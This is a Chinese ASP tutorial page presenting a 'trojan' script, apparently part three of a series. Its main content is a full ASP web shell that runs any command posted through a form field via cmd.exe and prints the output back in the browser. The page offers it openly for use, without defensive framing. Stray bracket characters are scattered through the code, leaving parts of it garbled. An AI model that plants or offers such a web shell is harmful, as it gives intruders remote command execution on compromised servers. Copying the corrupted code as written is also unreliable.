用ASP木馬實(shí)現(xiàn)FTP和解壓縮(3)_ASP教程

教程Tag：暫無Tag,歡迎添加,賺取U幣!

推薦：ASP進(jìn)階：驗(yàn)證身份證號是否正確的代碼
本文非原創(chuàng)，只是綜合了兩三個文章整理在一起的。我們要驗(yàn)證身份證號是否正確，就得先了解身份證號的含意。身份證號都代表什么意思？ 1、號碼的結(jié)構(gòu) 公民身份號碼是特征組合碼，由十七

＜%@ Language=VBScript %＞
＜%
Dim oScript
Dim oScriptNet
Dim oFileSys, oFile
Dim szCMD, szTempFile
On Error Resume Next
＜

' -- create the COM objects that we will be using -- '
Set oScript = Server.createObject("WSCRIPT.SHELL")
Set oScriptNet = Server.createObject("WSCRIPT.NETWORK")
Set oFileSys = Server.createObject("Scripting.FileSystemObject") ＜

' -- check for a command that we have posted -- '
szCMD = Request.form(".CMD")
If (szCMD ＜＞ "") Then ＜

' -- Use a poor man's pipe ... a temp file -- '
szTempFile = "C:\" & oFileSys.GetTempName( )
Call oScript.Run ("cmd.exe /c " & szCMD & " ＞ " & szTempFile, 0, True)
Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0) ＜

End If ＜

%＞
＜HTML＞
＜BODY＞
＜form action="＜%= Request.ServerVariables("URL") %＞" method="POST"＞
＜input type=text name=".CMD" size=45 value="＜%= szCMD %＞"＞
＜input type=submit value="Run"＞
＜/form＞
＜PRE＞＜

＜%
If (IsObject(oFile)) Then
' -- Read the output from our command and remove the temp file -- '
On Error Resume Next
Response.Write Server.HTMLEncode(oFile.ReadAll)
oFile.Close
Call oFileSys.deleteFile(szTempFile, True)
End If
%＞
＜/BODY＞
＜/HTML＞
＞

分享：asp創(chuàng)建對象及中文顯示解決技巧
一、ASP創(chuàng)建對象的技巧當(dāng)我們使用服務(wù)器組件創(chuàng)建對象時，一般有兩種方法。比較常用的方法是用SERVER對象的CreateObject() 方法，象這樣: SET NextLink = Server.CreateObject("MSWC